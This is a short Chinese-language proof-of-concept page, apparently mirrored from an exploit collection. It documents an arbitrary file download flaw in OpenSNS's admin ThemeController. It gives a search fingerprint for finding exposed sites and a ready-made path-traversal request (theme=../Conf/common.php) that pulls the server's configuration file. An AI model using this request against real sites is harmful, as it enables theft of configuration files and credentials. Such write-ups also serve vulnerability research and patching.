mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 11:27:43 +00:00
41 lines
843 B
Markdown
41 lines
843 B
Markdown
# OpenSNS ThemeController.class.php 后台任意文件下载漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
OpenSNS ThemeController.class.php文件中存在文件下载，其中过滤不足导致可以下载服务器任意文件
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
OpenSNS
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
icon_hash="1167011145"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面如下
|
||
|
||
|
||
|
||
存在漏洞的文件为 `Application/Admin/Model/ThemeController.class.php`
|
||
|
||
|
||
|
||
其中 theme参数为用户可控参数，根据函数流程可以发现存在的文件将会打包为 zip文件提供下载
|
||
|
||
|
||
|
||
构造请求
|
||
|
||
```
|
||
POST /admin.php?s=/theme/packageDownload
|
||
|
||
theme=../Conf/common.php
|
||
```
|
||
|
||
 |